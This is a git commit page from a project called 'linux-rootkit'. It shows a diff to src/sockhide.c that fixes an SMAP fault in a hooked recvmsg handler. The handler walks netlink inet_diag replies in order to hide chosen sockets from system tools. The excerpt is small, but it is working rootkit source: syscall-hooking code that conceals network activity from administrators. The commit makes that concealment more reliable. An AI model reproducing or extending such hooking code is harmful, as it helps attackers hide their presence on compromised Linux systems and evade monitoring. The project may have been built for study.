linux-rootkit

commit d87ae4a8143b805ddbb998a0a320e7e9f6604f33
parent bb9029d71dbd4fa5632e7a711f0281febeab1dfd
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 13 Dec 2020 04:57:25 +0100

fixes smap issue

Diffstat:
M
src/sockhide.c
 | 
5
+++--

1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/src/sockhide.c b/src/sockhide.c
@@ -171,8 +171,9 @@ g7_recvmsg(struct pt_regs *pt_regs)
     if ((len = ret = sys_recvmsg(pt_regs)) < 0)
         return ret;
 
-    nh = (struct nlmsghdr *)
-        ((struct user_msghdr *)pt_regs->si)->msg_iov->iov_base;
+    copy_from_user(nh,
+        (struct nlmsghdr *)((struct user_msghdr *)pt_regs->si)->msg_iov->iov_base,
+        sizeof(struct nlmsghdr));
 
     while (NLMSG_OK(nh, len)) {
         int src = ntohs(((struct inet_diag_msg *)NLMSG_DATA(nh))->id.idiag_sport);